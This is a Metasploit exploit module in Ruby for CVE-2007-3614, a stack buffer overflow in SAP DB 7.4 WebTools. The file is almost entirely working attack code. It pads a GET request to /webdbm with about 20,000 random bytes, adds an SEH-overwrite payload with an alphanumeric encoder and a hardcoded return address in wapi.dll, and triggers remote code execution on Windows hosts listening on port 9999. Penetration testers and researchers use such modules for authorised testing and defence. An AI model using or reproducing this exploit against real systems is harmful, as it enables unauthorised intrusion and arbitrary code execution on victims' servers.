##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP DB 7.4 WebTools Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
        By sending an overly long GET request, it may be possible for
        an attacker to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-3614' ],
          [ 'OSVDB', '37838' ],
          [ 'BID', '24773' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 850,
          'BadChars' => "\x00",
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
        ],
      'DisclosureDate' => 'Jul 5 2007',
      'DefaultTarget'  => 0))

    register_options( [ Opt::RPORT(9999) ], self.class )
  end

  def exploit

    filler = rand_text_alphanumeric(20774)
    seh = generate_seh_payload(target.ret)

    sploit = filler + seh + rand_text_alphanumeric(3000)

    print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)

    res = send_request_raw(
      {
        'uri'   => '/webdbm',
        'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
      }, 5)

    handler

  end

end
